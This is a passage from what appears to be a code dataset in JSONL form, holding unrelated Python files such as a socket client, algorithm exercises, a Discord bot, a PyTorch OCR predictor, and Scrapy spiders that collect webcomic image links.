self.login()\n user_json = json.dumps(user)\n try:\n self.socket.send(user_json.encode('utf-8'))\n except ConnectionResetError:\n exit(\"服务器已断开\")\n enter = self.socket.recv(1024)\n if enter.decode('utf-8') == user[0]:\n print('登陆成功!')\n break\n else:\n print(enter.decode('utf-8'))\n\n while True:\n inp = input('>>: ').strip() # 'get a.txt'\n if not inp:\n continue\n\n self.cmds = inp.split() # ['get','a.txt']\n if self.cmds[0] == 'quit':\n break\n if len(self.cmds) == 1 and self.cmds[0] != 'dir':\n print(\"Error! Please enter again!\")\n continue\n\n self.socket.send(inp.encode('utf-8')) # 发数据\n\n if hasattr(self, self.cmds[0]):\n try:\n getattr(self, self.cmds[0])()\n except OSError:\n print('Invalid argument')\n except UnicodeDecodeError:\n print('None')\n\n self.socket.close()\n","sub_path":"client/core/cleint.py","file_name":"cleint.py","file_ext":"py","file_size_in_byte":6347,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"418272661","text":"# -*- coding: utf-8 -*-\n# @File : binary_search_variety2.py\n# @Author: clelandgt@163.com\n# @Date : 2020-08-31\n# @Desc : 二分查找最后一个等于给定元素的值\n\n\ndef binary_search1(nums, num):\n print(nums)\n left, right = 0, len(nums)-1\n\n while left <= right:\n mid = (left + right) // 2\n if num < nums[mid]:\n right = mid - 1\n elif num > nums[mid]:\n left = mid + 1\n else:\n if mid == len(nums)-1 or num != nums[mid+1]:\n return mid\n else:\n left = mid + 1\n\n return -1\n\n\ndef main():\n test_cases = [\n [[1, 3, 4, 5, 6, 8, 8, 8, 11, 18], 8]\n ]\n for test_case in test_cases:\n print('binary_search1')\n index = binary_search1(test_case[0], test_case[1])\n print('nums: ', test_case[0])\n print('search: ', test_case[1])\n print('index: ', index)\n\n\nif __name__ == '__main__':\n main()\n","sub_path":"basic/python/search/binary_search_variety2.py","file_name":"binary_search_variety2.py","file_ext":"py","file_size_in_byte":948,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"139082969","text":"# Эта программ чертит многоугольник на элементе Canvas.\nimport tkinter\n\n\nclass MyGUI:\n def __init__(self):\n # Создаём главное окно.\n self.main_window = tkinter.Tk()\n\n # Создать элемент интерфейса Canvas.\n self.canvas = tkinter.Canvas(self.main_window,\n width=160, height=160)\n\n # Чертим многоугольник.\n self.canvas.create_polygon(60, 20, 100, 20, 140, 60, 140, 100,\n 100, 140, 60, 140, 20, 100, 20, 60)\n\n # Упаковываем холст.\n self.canvas.pack()\n\n # Запускаем главный ц��кл.\n tkinter.mainloop()\n\n\n# Создаём экземпляр класса MyGUI.\nmy_gui = MyGUI()\n","sub_path":"draw_polygon.py","file_name":"draw_polygon.py","file_ext":"py","file_size_in_byte":849,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"77981174","text":"from mysql.connector import connect\nfrom atlas.atlas_database import get_connection, get_stable_vps\n\nimport ipaddress\n\ndef extract_tr_rr_hops_from_db():\n connection = get_connection(\"traceroute_atlas\")\n\n query = (\n f\" SELECT rr_hop \"\n f\" FROM atlas_rr_pings arrp \"\n # f\" INNER JOIN atlas_traceroute_hop ath on ath.trace_id=arrp.traceroute_id \"\n # f\" WHERE traceroute_id={tr_id} \"\n f\" UNION ALL \"\n f\" SELECT hop \"\n f\" FROM atlas_traceroute_hops \"\n # f\" WHERE trace_id={tr_id}\"\n )\n cursor = connection.cursor()\n cursor.execute(query, )\n # rows = cursor.fetchmany(batch_size)\n rows = cursor.fetchall()\n ips = set()\n for i, row in rows:\n ip = row[0]\n ip = ipaddress.ip_address(ip)\n if ip.is_private:\n continue\n ips.add(str(ip))\n ofile = \"atlas/resources/midar.targets\"\n with open(ofile, \"w\") as f:\n for ip in ips:\n f.write(ip + \"\\n\")\n\n\ndef available_sources():\n connection = get_connection(\"vpservice\")\n query = (\n \"SELECT ip, rec_spoof FROM vantage_points \"\n )\n\n cursor = connection.cursor()\n cursor.execute(query)\n rows = cursor.fetchall()\n\n vps = set()\n for ip, can_rec_spoof in rows:\n if can_rec_spoof:\n vps.add(ip)\n print(len(vps))\n\n vps_used = set()\n with open(\"algorithms/evaluation/resources/sources.csv\") as f:\n for line in f:\n vps_used.add(int(ipaddress.ip_address(line.strip())))\n\n print(len(vps_used))\n print(len(vps_used.intersection(vps)))\n\n\ndef dump_stable_vps():\n\n stable_vps = get_stable_vps(1000)\n with open(\"algorithms/evaluation/resources/sources.csv\", \"w\") as f:\n for vp in stable_vps:\n vp = str(ipaddress.ip_address(vp))\n f.write(vp + \"\\n\")\n\nif __name__ == \"__main__\":\n dump_stable_vps()\n # available_sources()\n","sub_path":"rankingservice/atlas/debug/debug_utils.py","file_name":"debug_utils.py","file_ext":"py","file_size_in_byte":1900,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"433008924","text":"# -*- coding: utf-8 -*-\nimport numpy as np\n\ndef linhas (a):\n soma=0\n m=[]\n for i in range(0,a.shape[0],1):\n for j in range(0,a.shape[1],1):\n soma=soma+a[i,j]\n m.append(soma)\n soma=0\n return (m)\n \ndef colunas (a):\n soma=0\n m=[]\n for j in range(0,a.shape[1],1):\n for i in range(0,a.shape[0],1):\n soma=soma+a[i,j]\n m.append(soma)\n soma=0\n return (m)\n\nn=int(input(\"Digite n: \"))\np=np.zeros((n,n))\nfor i in range(0,p.shape[0],1):\n for j in range(0,p.shape[1],1):\n p[i,j]=float(input(\"Digite o termo: \"))\n\no=linhas(p)\nk=colunas(p)\n\nfor i in range(0,len(o),1):\n for j in range(0,len(1),1):\n if i!=j:\n if o[i]==o[j]:\n soma=soma+1\n if soma==0:\n print(o[i])\n else:\n soma=0","sub_path":"moodledata/vpl_data/111/usersdata/237/63682/submittedfiles/av2_p3_m2.py","file_name":"av2_p3_m2.py","file_ext":"py","file_size_in_byte":819,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"153858572","text":"# -*- coding: utf-8 -*-\n# @Time : 2018/8/23 22:20\n# @Author : zhoujun\n\nimport os\nimport cv2\nimport numpy as np\nimport torch\nfrom torchvision import transforms\nimport matplotlib.font_manager as fm\nfrom utils import CTCLabelConverter, AttnLabelConverter\n\nmyfont = fm.FontProperties(fname='./data/msyh.ttc')\n\n\nclass Pytorch_model:\n def __init__(self, model_path: str, alphabet: str, gpu_id=None):\n '''\n 初始化pytorch模型\n :param model_path: 模型地址(可以是模型的参数或者参数和计算图一起保存的文件)\n :param alphabet: 字母表\n :param gpu_id: 在哪一块gpu上运行\n '''\n self.gpu_id = gpu_id\n if self.gpu_id is not None and isinstance(self.gpu_id, int) and torch.cuda.is_available():\n self.device = torch.device(\"cuda:%s\" % self.gpu_id)\n else:\n self.device = torch.device(\"cpu\")\n print('device:', self.device)\n self.net = torch.jit.load(model_path)\n self.converter = CTCLabelConverter(alphabet)\n self.img_w = 320\n self.img_h = 32\n self.img_channel = 3\n\n def predict(self, img):\n '''\n 对传入的图像进行预测,支持图像地址和numpy数组\n :param img: 像地址或numpy数组\n :param is_numpy:\n :return:\n '''\n assert self.img_channel in [1, 3], 'img_channel must in [1.3]'\n\n if isinstance(img, str): # read image\n assert os.path.exists(img), 'file is not exists'\n img = cv2.imread(img, 0 if self.img_channel == 1 else 1)\n\n img = self.pre_processing(img)\n # 将图片由(w,h)变为(1,img_channel,h,w)\n img = transforms.ToTensor()(img)\n img = img.unsqueeze_(0)\n text = torch.zeros(1, 80, dtype=torch.long, device=self.device)\n img = img.to(self.device)\n with torch.no_grad():\n preds = self.net(img,text)\n preds = torch.softmax(preds, dim=2).detach().numpy()\n preds_str = self.converter.decode(preds)\n return preds_str\n\n def pre_processing(self, img):\n \"\"\"\n 对图片进行处理,先按照高度进行resize,resize之后如果宽度不足指定宽度,就补黑色像素,否则就强行缩放到指定宽度\n :param img_path: 图片\n :return:\n \"\"\"\n img_h = self.img_h\n img_w = self.img_w\n h, w = img.shape[:2]\n ratio_h = float(img_h) / h\n new_w = int(w * ratio_h)\n img = cv2.resize(img, (new_w, img_h))\n return img\n\n\nif __name__ == '__main__':\n model_path = r'output/crnn.pt'\n # model_path = './output/model.pkl'\n img_path = r'E:\\zj\\dataset\\train/0_song5_0_3_w.jpg'\n # 初始化网络\n alphabet = str(np.load('alphabet.npy'))\n model = Pytorch_model(model_path,alphabet=alphabet, gpu_id=None)\n # 执行预测\n img = cv2.imread(img_path, 1)\n result = model.predict(img)\n print(result)\n","sub_path":"deploy/predict.py","file_name":"predict.py","file_ext":"py","file_size_in_byte":2947,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"553245677","text":"from django.conf.urls import patterns, include, url\nfrom django.views.generic import DetailView, ListView\nfrom polls.models import Poll\n\nurlpatterns = patterns('polls.views',\n # Examples:\n # url(r'^$', 'django1.views.home', name='home'),\n # url(r'^django1/', include('django1.foo.urls')),\n\n # Uncomment the admin/doc line below to enable admin documentation:\n # url(r'^admin/doc/', include('django.contrib.admindocs.urls')),\n\n # Polls portal urls\n url(r'^$', ListView.as_view(queryset = Poll.objects.order_by('-pub_date')[:5],\n context_object_name = 'latest_poll_list',\n template_name = 'polls/index.html')),\n url(r'^(?P\\d+)/$', DetailView.as_view(model = Poll,\n template_name = 'polls/details.html')),\n url(r'^(?P\\d+)/results/$', DetailView.as_view(model = Poll,\n template_name = 'polls/results.html'), name=\"poll_results\"),\n url(r'^(?P\\d+)/vote/$', 'vote'),\n)","sub_path":"polls/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":936,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"362611729","text":"\"\"\" Analyzes the word frequencies in a book downloaded from\nProject Gutenberg \"\"\"\n\nimport string\nimport operator\n\n\ndef get_word_list(file_name):\n \"\"\" Reads the specified project Gutenberg book. Header comments,\n punctuation, and whitespace are stripped away. The function\n returns a list of the words used in the book as a list.\n All words are converted to lower case.\n \"\"\"\n #Open file\n f = open(file_name, 'r')\n lines = f.readlines()\n curr_line = 0\n\n #Create Dictionary\n wordDict = {}\n while lines[curr_line].find('START OF THIS PROJECT GUTENBERG EBOOK') == -1:\n curr_line += 1\n lines = lines[curr_line+1:]\n\n #loop through lines and words\n for i in lines:\n line = i.split()\n for j in line:\n\n #Get rid of punctuation\n word = j.strip(string.punctuation)\n\n #If key exists\n try:\n #Increment\n wordDict[word] += 1\n #Else\n except KeyError:\n #Create Key\n wordDict[word] = 0\n #Return items in dictionary as tuple\n return wordDict.items()\n\n\n\n\ndef get_top_n_words(word_list, n):\n \"\"\" Takes a list of words as input and returns a list of the n most frequently\n occurring words ordered from most to least frequently occurring.\n\n word_list: a list of words (assumed to all be in lower case with no\n punctuation\n n: the number of words to return\n returns: a list of n most frequently occurring words ordered from most\n frequently to least frequentlyoccurring\n \"\"\"\n #Sort list according to second value of tuple\n sortedList = sorted(word_list, key=operator.itemgetter(1))\n #Reverse list\n sortedList = sortedList[::-1]\n #Return 1st hundred positions\n return sortedList[:n]\n\nif __name__ == \"__main__\":\n print(\"Running WordFrequency Toolbox\")\n wordlist = get_word_list(\"pg32325.txt\")\n print(get_top_n_words(wordlist, 100))\n","sub_path":"frequency.py","file_name":"frequency.py","file_ext":"py","file_size_in_byte":1954,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"521225354","text":"from datetime import datetime as d\nfrom yt import YTDLSource\nimport random\nimport time\nimport discord\n\nfrom discord.ext import commands\nfrom games import eightball\n\n\n# New - The Cog class must extend the commands.Cog class\nclass Basic(commands.Cog):\n \n def __init__(self, bot):\n self.bot = bot\n \n @commands.command(\n name='ok',\n description=\"Okay.\"\n )\n async def ok_command(self, ctx, howmany = 1):\n connected = ctx.author.voice\n if connected:\n try:\n voice_client = await connected.channel.connect() # use the channel object you put into a variable\n except:\n print (\"already connected, ok.\")\n server = ctx.author.guild\n voice_client = server.voice_client\n \n print(\"howmany=\" + str(howmany))\n x = 0\n\n if howmany > 10:\n await ctx.send('Too many OKs! (max 10)')\n return\n\n while x < howmany:\n\n mp3name = 'ok' + str(random.randrange(1,47)) + '.mp3'\n\n print('playing:', mp3name)\n audio_source = discord.FFmpegPCMAudio('static/'+mp3name)\n if not voice_client.is_playing():\n voice_client.play(audio_source, after=None)\n \n x = x + 1\n\n time.sleep(1)\n #voice_client = get(ctx.bot.voice_clients, guild=ctx.guild)\n \n # channel = author.voice.channel\n # vc = await channel.connect()\n\n \n #guild = ctx.guild\n #server = ctx.message.guild\n #voice_client = server.voice_client\n\n\n # voiceChannel.join().then(connection => {\n # connection.voice.setSelfDeaf(true);\n # });\n\n # url = \"https://youtu.be/oJ9AvIIJTrY\"\n\n # channel = ctx.author.voice.channel\n # vc = await channel.connect()\n\n # server = ctx.message.guild\n # voice_channel = server.voice_client\n\n # async with ctx.typing():\n # player = await YTDLSource.from_url(url)\n # vc.play(player, after=lambda e: print('Player error: %s' % e) if e else None)\n # await ctx.send('Now playing: {}'.format(player.title))\n \n\n # Define a new command\n @commands.command(\n name='ping',\n description='The ping command',\n aliases=['p']\n )\n async def ping_command(self, ctx):\n start = d.timestamp(d.now())\n # Gets the timestamp when the command was used\n\n msg = await ctx.send(content='Pinging')\n # Sends a message to the user in the channel the message with the command was received.\n # Notifies the user that pinging has started\n\n await msg.edit(content=f'Pong!\\nOne message round-trip took {( d.timestamp( d.now() ) - start ) * 1000 }ms.')\n # Ping completed and round-trip duration show in ms\n # Since it takes a while to send the messages\n # it will calculate how much time it takes to edit an message.\n # It depends usually on your internet connection speed\n return\n\n @commands.command(name='8ball',\n description='Ask the 8ball a question',\n aliases=['8']\n )\n async def eightball_command(self, ctx):\n # Extracting the text sent by the user\n # ctx.invoked_with gives the alias used\n # ctx.prefix gives the prefix used while invoking the command\n msg = ctx.message.content\n prefix_used = ctx.prefix\n alias_used = ctx.invoked_with\n text = msg[len(prefix_used) + len(alias_used):]\n\n if text == '':\n # User didn't specify the text \n await ctx.send(content='You need to specify a question to ask the 8-ball!') \n pass\n else:\n # User specified the text.\n answer = await ctx.send(content='asking...')\n await answer.edit(content=eightball())\n pass\n\n return\n\n @commands.command(name='dm',\n description='Talk to the 9FA bot',\n aliases=[]\n )\n# @commands.is_owner() # The account that owns the bot\n async def dm(self, ctx):\n# chatbot = getchatbot()\n# # channel = bot.get_channel('611325519807643648')\n# answer = await ctx.send(content='Thinking...')\n# response = chatbot.get_response(ctx.message.content)\n# await answer.edit(content=response)\n# \n return\n\n\ndef setup(bot):\n # Adds the Basic commands to the bot\n # Note: The \"setup\" function has to be there in every cog file\n \n return\n","sub_path":"cogs/basic.py","file_name":"basic.py","file_ext":"py","file_size_in_byte":4627,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"240404501","text":"from sklearn.metrics import plot_confusion_matrix, plot_roc_curve, plot_precision_recall_curve\nfrom sklearn.model_selection import learning_curve\n\ndef plot_learning_curve(estimator, title, X, y, ylim=None, cv=None, n_jobs=None, train_sizes=np.linspace(.1, 1.0, 5)):\n plt.figure()\n plt.title(title)\n if ylim is not None:\n plt.ylim(*ylim)\n plt.xlabel(\"Training examples\")\n plt.ylabel(\"Score\")\n train_sizes, train_scores, test_scores = learning_curve(\n estimator, X, y, cv=cv, n_jobs=n_jobs, train_sizes=train_sizes)\n train_scores_mean = np.mean(train_scores, axis=1)\n train_scores_std = np.std(train_scores, axis=1)\n test_scores_mean = np.mean(test_scores, axis=1)\n test_scores_std = np.std(test_scores, axis=1)\n plt.grid()\n\n plt.fill_between(train_sizes, train_scores_mean - train_scores_std,\n train_scores_mean + train_scores_std, alpha=0.1,\n color=\"r\")\n plt.fill_between(train_sizes, test_scores_mean - test_scores_std,\n test_scores_mean + test_scores_std, alpha=0.1, color=\"g\")\n plt.plot(train_sizes, train_scores_mean, 'o-', color=\"r\",\n label=\"Training score\")\n plt.plot(train_sizes, test_scores_mean, 'o-', color=\"g\",\n label=\"Cross-validation score\")\n\n plt.legend(loc=\"best\")\n return plt\n\n# Assuming classifiers is your dictionary of classifiers and X_test and y_test are your testing data\nfor name, clf in classifiers.items():\n print(name)\n # Confusion Matrix\n plot_confusion_matrix(clf, X_test, y_test)\n plt.show()\n\n # ROC Curve\n plot_roc_curve(clf, X_test, y_test)\n plt.show()\n\n # Precision-Recall curve\n plot_precision_recall_curve(clf, X_test, y_test)\n plt.show()\n\n # Learning curve\n plot_learning_curve(clf, name + \" Learning curve\", X_train, y_train, cv=5)\n plt.show()\n","sub_path":"Model_Performance_Visualization.py","file_name":"Model_Performance_Visualization.py","file_ext":"py","file_size_in_byte":1868,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"146045790","text":"from scrapy.spider import BaseSpider\nfrom scrapy.selector import HtmlXPathSelector\nfrom scrapy.http import Request\nfrom scraped_comics.items import ComicStripEntry\n\nfrom scrapy.contrib.spiders import CrawlSpider, Rule\nfrom scrapy.contrib.linkextractors.sgml import SgmlLinkExtractor\n\nfrom urlparse import urlparse\n\nimport re\n\n#TODO: Modify to Collect Ordering Data\n\n#region Flat Archives\nclass QCSpider(BaseSpider):\n name = \"QCSpider\"\n allowed_domains=[\"questionablecontent.net\"]\n start_urls = [ 'http://questionablecontent.net/archive.php' ]\n\n def parse (self, response):\n root=\"http://questionablecontent.net/\"\n hxs = HtmlXPathSelector(response)\n #Get the Comic Links from the Archive\n iCL = filter(lambda x : 'comic' in x, hxs.select('//a/@href').extract()) \n for link in iCL:\n yield Request(root+link, callback=self.extractImageLink)\n\n def extractImageLink(self, response):\n hxs = HtmlXPathSelector(response)\n strip = ComicStripEntry()\n root = \"http://questionablecontent.net/\"\n linkUrl = filter(lambda x : 'comics' in x, hxs.select('//a/img/@src').extract())[0].split('./')[1]\n strip['comicName'] = \"questionable content\"\n strip['imageLink'] = root+linkUrl\n return strip\n\nclass ALMSpider(BaseSpider):\n name = \"ALMSpider\"\n allowed_domains=['anderslovesmaria.reneengstrom.com']\n start_urls = ['http://anderslovesmaria.reneengstrom.com/archives/']\n\n def parse(self, response):\n root = \"http://anderslovesmaria.reneengstrom.com/\"\n hxs = HtmlXPathSelector(response)\n #restful urls neat\n iCL = filter(lambda x : len(x.split('/')) == 8, hxs.select('//a/@href').extract()) \n for link in iCL:\n yield Request(link, callback=self.extractImageLink)\n\n def extractImageLink(self, response):\n hxs = HtmlXPathSelector(response)\n strip = ComicStripEntry()\n linkUrl = map(lambda y : re.sub('\\s', '', y), filter(lambda x : 'comicfolder' in x, hxs.select('//img/@src').extract()))[0]\n strip['comicName'] = \"anders loves maria\"\n strip['imageLink'] = linkUrl\n return strip\n\nclass SMBCSpider(BaseSpider):\n name = \"SMBCSpider\"\n allowed_domains=['www.smbc-comics.com']\n start_urls = ['http://www.smbc-comics.com/archives.php']\n\n def parse(self, response):\n root = \"http://www.smbc-comics.com\"\n hxs = HtmlXPathSelector(response)\n iCL = hxs.select('//a[contains(text(), \",\")]/@href').extract()\n for link in iCL:\n yield Request(root+link, callback=self.extractImageLink)\n\n def extractImageLink(self, response):\n hxs = HtmlXPathSelector(response)\n strip = ComicStripEntry()\n linkUrls = filter(lambda x : '/comics' in x, hxs.select('//img/@src').extract())\n comicNum = reduce(lambda z,k : z + k, filter(lambda y : y[0] == 'id', map(lambda x : x.split('='), urlparse(response.url).query.split('&'))))[1]\n for url in linkUrls:\n strip = ComicStripEntry()\n strip['comicName'] = \"smbc\"\n strip['storyLineName'] = comicNum\n strip['imageLink'] = url\n yield strip\n\nclass XKCDSpider(BaseSpider):\n name = \"XKCDSpider\"\n allowed_domains=['xkcd.com']\n start_urls = ['http://www.smbc-comics.com/archives.php']\n\n def parse(self, response):\n root = \"http://www.xkcd.com\"\n hxs = HtmlXPathSelector(response)\n iCL = filter(lambda x : re.match('/[0-9]+/', x), hxs.select('//a/@href').extract())\n for link in iCL:\n yield Request (root+link, callback=self.extractImageLink)\n\n def extractImageLink(self, response):\n hxs = HtmlXPathSelector(response)\n linkUrl = filter(lambda x : '/comics/' in x, hxs.select('//img/@src').extract())[0]\n strip = ComicStripEntry()\n strip['comicName'] = \"xkcd\"\n strip['imageLink'] = linkUrl\n return strip\n\nclass ThreeWordPhraseSpider(BaseSpider):\n name = \"TWPSpider\"\n allowed_domains = ['threewordphrase.com']\n start_urls = ['http://threewordphrase.com/archive.htm']\n \n def parse(self, response):\n root = \"http://threewordphrase.com\"\n hxs = HtmlXPathSelector(response)\n baseList = hxs.select('//a/@href').extract()\n baseList = baseList[-(len(baseList)-1):] #drop the first one, it's a dup\n splitIndex = baseList.index('/index.htm') + 1 #this is the element before the first link\n iCL = baseList[-(len(baseList)-splitIndex):]\n for link in iCL:\n if '/' in link:\n yield Request (root+link, callback=self.extractImageLink)\n else:\n yield Request (root+'/'+link, callback=self.extractImageLink)\n\n def extractImageLink(self, response):\n root = \"http://threewordphrase.com\"\n hxs = HtmlXPathSelector(response)\n baseList = hxs.select('//img/@src').extract()\n splitIndex = baseList.index('/latestlink.gif') + 1 #this is the element before the image\n baseList = baseList[-(len(baseList)-splitIndex):]\n strip = ComicStripEntry()\n strip['comicName'] = \"three word phrase\"\n if '/' in baseList[0]:\n strip['imageLink'] = root+baseList[0]\n else:\n strip['imageLink'] = root+'/'+baseList[0]\n return strip\n\nclass HarkAVagrantSpider(BaseSpider):\n name = \"HAVSpider\"\n allowed_domains = ['harkavagrant.com']\n start_urls = ['http://harkavagrant.com/archive.php']\n\n def parse(self, response):\n root = 'http://harkavagrant.com/'\n hxs = HtmlXPathSelector(response)\n iCL = filter(lambda x : 'index' in x, hxs.select('//a/@href').extract())\n for link in iCL:\n yield Request(root+link, callback=self.extractImageLink)\n\n def extractImageLink(self, response):\n hxs = HtmlXPathSelector(response)\n baseList = filter(lambda x : len(x.split('/')) == 5, hxs.select('//img/@src').extract()) \n strip = ComicStripEntry()\n strip['comicName'] = \"hark! a vagrant\"\n strip['storyLineName'] = \"hark a vagrant\"\n strip['imageLink'] = baseList[0]\n return strip\n\nclass GunShowSpider(BaseSpider):\n name = \"GSSpider\"\n allowed_domains = ['gunshowcomic.com']\n start_urls = ['http://gunshowcomic.com/archive.php']\n\n def parse(self, response):\n hxs = HtmlXPathSelector(response)\n iCL = filter (lambda x : re.match('.*/[0-9]{3}', x) , hxs.select('//a/@href').extract())\n for link in iCL:\n yield Request(link, callback=self.extractImageLink)\n\n def extractImageLink(self,response):\n hxs = HtmlXPathSelector(response)\n strip = ComicStripEntry()\n strip['comicName'] = \"gunshow\"\n strip['imageLink'] = filter(lambda x : '/comics/' in x, hxs.select('//img/@src').extract())[0]\n return strip\n\nclass BoxerHockeySpider(BaseSpider):\n name = \"BHSpider\"\n allowed_domains = ['boxerhockey.fireball20xl.com', 'www.boxerhockey.com']\n start_urls = ['http://boxerhockey.fireball20xl.com/archive.php?id=000.jpg']\n\n def parse(self, response):\n hxs = HtmlXPathSelector(response)\n iCL = filter (lambda x : 'id' in x, hxs.select('//a/@href').extract())\n for link in iCL:\n yield Request(link, callback=self.extractImageLink)\n\n def extractImageLink(self,response):\n root = \"http://boxerhockey.fireball20xl.com/\"\n hxs = HtmlXPathSelector(response)\n link = filter(lambda x : '/comic/' in x, hxs.select('//img/@src').extract())[0]\n strip = ComicStripEntry()\n strip['comicName'] = \"boxer hockey\"\n strip['imageLink'] = root+link\n return strip\n\nclass TheMeekSpider(BaseSpider):\n name = \"TMSpider\"\n allowed_domains = ['meekcomic.com']\n start_urls = ['http://www.meekcomic.com/archives/']\n\n def parse(self, response):\n hxs = HtmlXPathSelector(response)\n iCL = filter(lambda x : re.match('.*/[0-9]{4}/[0-9]{2}/[0-9]{2}/.*', x), hxs.select('//a/@href').extract())\n for link in iCL:\n yield Request(link, callback=self.extractImageLink)\n\n def extractImageLink(self, response):\n hxs = HtmlXPathSelector(response)\n link = filter(lambda x : '/comics/' in x, hxs.select('//img/@src').extract())[0]\n strip = ComicStripEntry()\n strip['comicName'] = 'the meek'\n strip['imageLink'] = link\n return strip\n\nclass ThePerryBibleFellowship(BaseSpider):\n name = \"TPBFSpider\"\n allowed_domains = ['pbfcomics.com']\n start_urls = ['http://pbfcomics.com/']\n\n def parse(self, response):\n root = 'http://pbfcomics.com'\n hxs = HtmlXPathSelector(response)\n iCL = filter(lambda x : re.match('/[0-9]+/', x), hxs.select('//a/@href').extract())\n for link in iCL:\n yield Request(root+link, callback=self.extractImageLink)\n\n def extractImageLink(self, response):\n root = \"http://pbfcomics.com\"\n hxs = HtmlXPathSelector(response)\n link = filter(lambda x : re.match('.*/archive.+/.*', x), hxs.select('//img/@src').extract())[0]\n strip = ComicStripEntry()\n strip['comicName'] = \"the perry bible fellowship\"\n strip['imageLink'] = root+link\n return strip\n\nclass ManeggsSpider(BaseSpider):\n name = \"MESpider\"\n allowed_domains = ['maneggs.com']\n start_urls = ['http://maneggs.com/archives/']\n\n def parse(self, response):\n hxs = HtmlXPathSelector(response)\n iCL = filter(lambda x : re.match('.*/[0-9]{4}/[0-9]{2}/[0-9]{2}/.*', x), hxs.select('//a/@href').extract())\n for link in iCL:\n yield Request(link, callback=self.extractImageLink)\n\n def extractImageLink(self, response):\n hxs = HtmlXPathSelector(response)\n link = filter(lambda x : '/wp-content/' in x, hxs.select('//img/@src').extract())[0]\n strip = ComicStripEntry()\n strip['comicName'] = 'maneggs'\n strip['imageLink'] = link\n return strip\n#endregion\n\n#region pagination archives\n\nclass JohnnyWanderSpider(CrawlSpider):\n name = \"JWSpider\"\n allowed_domains = ['johnnywander.com']\n start_urls = ['http://www.johnnywander.com/archive']\n \n rules = (\n # Extract links matching archive\n Rule(SgmlLinkExtractor(allow=('archive', )), callback='parse_item'),\n )\n\n #this can't be parse unless you want to override the method that Crawl Spider is using\n def parse_item(self, response):\n hxs = HtmlXPathSelector(response)\n iCL = filter(lambda x : '/comics/' in x, hxs.select('//a/@href').extract())\n root = \"http://www.johnnywander.com\"\n for link in iCL:\n yield Request(root+link, callback=self.extractImageLink) \n\n def extractImageLink(self, response):\n hxs = HtmlXPathSelector(response)\n link = filter(lambda x : '/comics/' in x, hxs.select('//img/@src').extract())[0]\n strip = ComicStripEntry()\n strip['comicName'] = 'johnny wander'\n strip['imageLink'] = link\n return strip\n \nclass TheOatmealSpider(CrawlSpider):\n name = \"TOSpider\"\n allowed_domains = ['theoatmeal.com']\n start_urls = ['http://theoatmeal.com/comics'] \n\n rules = (\n Rule(SgmlLinkExtractor(allow=('/comics_pg/')), callback='parse_item'),\n )\n \n def parse_item(self, response):\n hxs = HtmlXPathSelector(response)\n iCL = list(set(filter(lambda x : '/comics/' in x, hxs.select('//a/@href').extract())))\n root = \"http://theoatmeal.com\"\n for link in iCL:\n yield Request(root+link, callback=self.extractImageLink)\n\n def extractImageLink(self, response):\n hxs = HtmlXPathSelector(response)\n parts = filter(lambda x : re.match('.*/comics/(.*png|.*jpg)', x), hxs.select('//img/@src').extract()) \n sample = parts[0]\n aList = sample.split('/')\n storyName = aList[len(aList)-2]\n for link in parts:\n strip = ComicStripEntry()\n strip['comicName'] = \"the oatmeal\"\n if storyName != 'comics':\n strip['storyLineName'] = storyName\n strip['imageLink'] = link\n return strip\n\n#endregion\n\n#region custom\nclass TheAdventuresOfDrMcNinjaSpider(CrawlSpider):\n name = \"TAODMNSpider\"\n allowed_domains = ['drmcninja.com']\n start_urls = ['http://drmcninja.com/issues/']\n rules = (\n Rule(SgmlLinkExtractor(allow=('/comic/'), restrict_xpaths=('//div[@class=\"serieslist-content\"]/h2')), callback='parse_item', follow=True),\n Rule(SgmlLinkExtractor(allow=('/comic/'), restrict_xpaths=('//div[@class=\"postpostnav\"]/a[@class=\"next\"]')), callback='parse_item', follow=True),\n )\n \n def parse_item(self, response):\n hxs = HtmlXPathSelector(response)\n imageLink = filter(lambda x : '/comics/' in x, hxs.select('//img/@src').extract())[0]\n storyName = list(set(hxs.select('//select[@id=\"series_select\"]/option[@selected=\"selected\"]/text()').extract()))[0]\n strip = ComicStripEntry()\n strip['comicName'] = \"the adventures of dr. mcninja\"\n strip['storyLineName'] = storyName\n strip['imageLink'] = imageLink\n return strip\n\nclass PicturesForSadChildrenSpider(BaseSpider):\n name = \"PFSCSpider\"\n allowed_domains = ['sadpicturesforchildren.com', 'picturesforsadchildren.com']\n start_urls = ['http://picturesforsadchildren.com/1/', 'http://sadpicturesforchildren.com/194/', 'http://sadpicturesforchildren.com/195/' ]\n resultSet = []\n\n def parse(self, response):\n hxs = HtmlXPathSelector(response)\n imageLink = filter(lambda x : re.match('/[0-9]+', x), hxs.select('//img/@src').extract())[0]\n strip = ComicStripEntry()\n strip['comicName'] = \"pictures for sad children\"\n strip['imageLink'] = imageLink\n self.resultSet += [strip]\n nextLink = list(set(map(lambda y : y.select('./@href').extract()[0], filter(lambda x : x.select('.//img/@src').extract() == [u'/next.gif'], hxs.select('//a')))))\n if len(nextLink) != 0:\n root = \"http://\"+response.url.split('/')[2]\n yield Request(root+nextLink[0], callback=self.parse)\n if len(self.resultSet) == 377: #This should be a Final Number the Series is Done\n for result in self.resultSet:\n yield result\n\nclass RiceBoySpider(CrawlSpider):\n name = \"RBSpider\"\n allowed_domains = ['rice-boy.com']\n start_urls = ['http://www.rice-boy.com/see/index.php']\n rules = (\n Rule(SgmlLinkExtractor(allow=('index.php\\?i')), follow=True),\n Rule(SgmlLinkExtractor(allow=('index.php\\?c')), callback='parse_item', follow=True),\n )\n explored_chapters = [] \n \n def parse_item(self, response):\n hxs = HtmlXPathSelector(response)\n iCL = 